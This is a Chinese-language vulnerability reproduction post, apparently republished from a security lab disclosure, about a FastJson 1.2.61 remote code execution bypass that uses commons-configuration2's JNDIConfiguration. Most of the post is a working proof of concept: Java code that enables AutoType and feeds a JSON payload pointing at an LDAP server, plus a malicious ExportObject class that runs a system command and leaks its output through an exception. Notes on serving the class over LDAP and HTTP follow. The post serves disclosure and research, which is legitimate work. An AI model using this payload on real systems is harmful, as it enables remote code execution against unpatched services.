commons-pool2-2.3 jar包_[漏洞复现]FastJson 1.2.61远程代码执行漏洞(From第三方jar包)
前言
最近FastJson更新了黑名單,升級到了1.2.61版本,我嘗試bypass其黑名單,在AutType打開的情況下成功繞過了黑名單防護.(目前暫未修復,官方即將更新)
復現環境準備
1.JDK 8U20
2.所需jar清單如下
commons-configuration2-2.0.jar
commons-lang3-3.3.2.jar
commons-logging-1.2.jar
FastJson復現
FastJsonTest.java
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class FastJsonTest {
public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonStr6 = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"ldap://127.0.0.1:1389/ExportObject\"}";
JSONObject json = JSON.parseObject(jsonStr6);
json.toJSONString();
}
}
惡意類ExportObject.java
import java.io.BufferedReader;import java.io.InputStreamReader;
public class ExportObject {
public ExportObject() throws Exception {
Process proc = Runtime.getRuntime().exec("open /Applications/Calculator.app");
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e = new Exception(result);
throw e;
}
public static void main(String[] args) throws Exception {
}
}
使用org.apache.commons.configuration2.JNDIConfiguration?payload 效果如下
關于黑名單
Fastjson?在1.2.42版本開始,將原本明文的黑名單改成了hash value的黑名單
使用這種方式,能在一定程度上減緩安全研究者對fastjson黑名單繞過的速度
關于黑名單,有安全研究者在GitHub上開源了一個項目,叫做fastjson-blacklist,大家可以關注一下.
后記
對于不會開啟rmi和ldap服務的同學可以查閱我的文章——《如何快速開啟RMI&&LDAP》,快速開啟http服務可以使用python -m SimpleHTTPServer.
使用JNDI進行rce,請注意JDK對于JNDI的修復,可參考pyn3rd師傅的圖
Reference
fastjson-blacklist:
https://github.com/LeadroyaL/fastjson-blacklist/](https://github.com/LeadroyaL/fastjson-blacklist/
fastjson官方黑名單:
https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
如何快速開啟RMI&&LDAP:
https://mp.weixin.qq.com/s/TuQWvyro5vphyeZCAo_Y6g
時間軸
[0] 2019年9月20日 亞信安全提交該漏洞給阿里巴巴
[1] 2019年9月23日 亞信安全網絡攻防實驗室發布預警公告
總結
以上是生活随笔為你收集整理的commons-pool2-2.3 jar包_[漏洞复现]FastJson 1.2.61远程代码执行漏洞(From第三方jar包)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: sklearn保存svm分类模型_【菜菜
- 下一篇: python运用在哪些地方_必看 | 2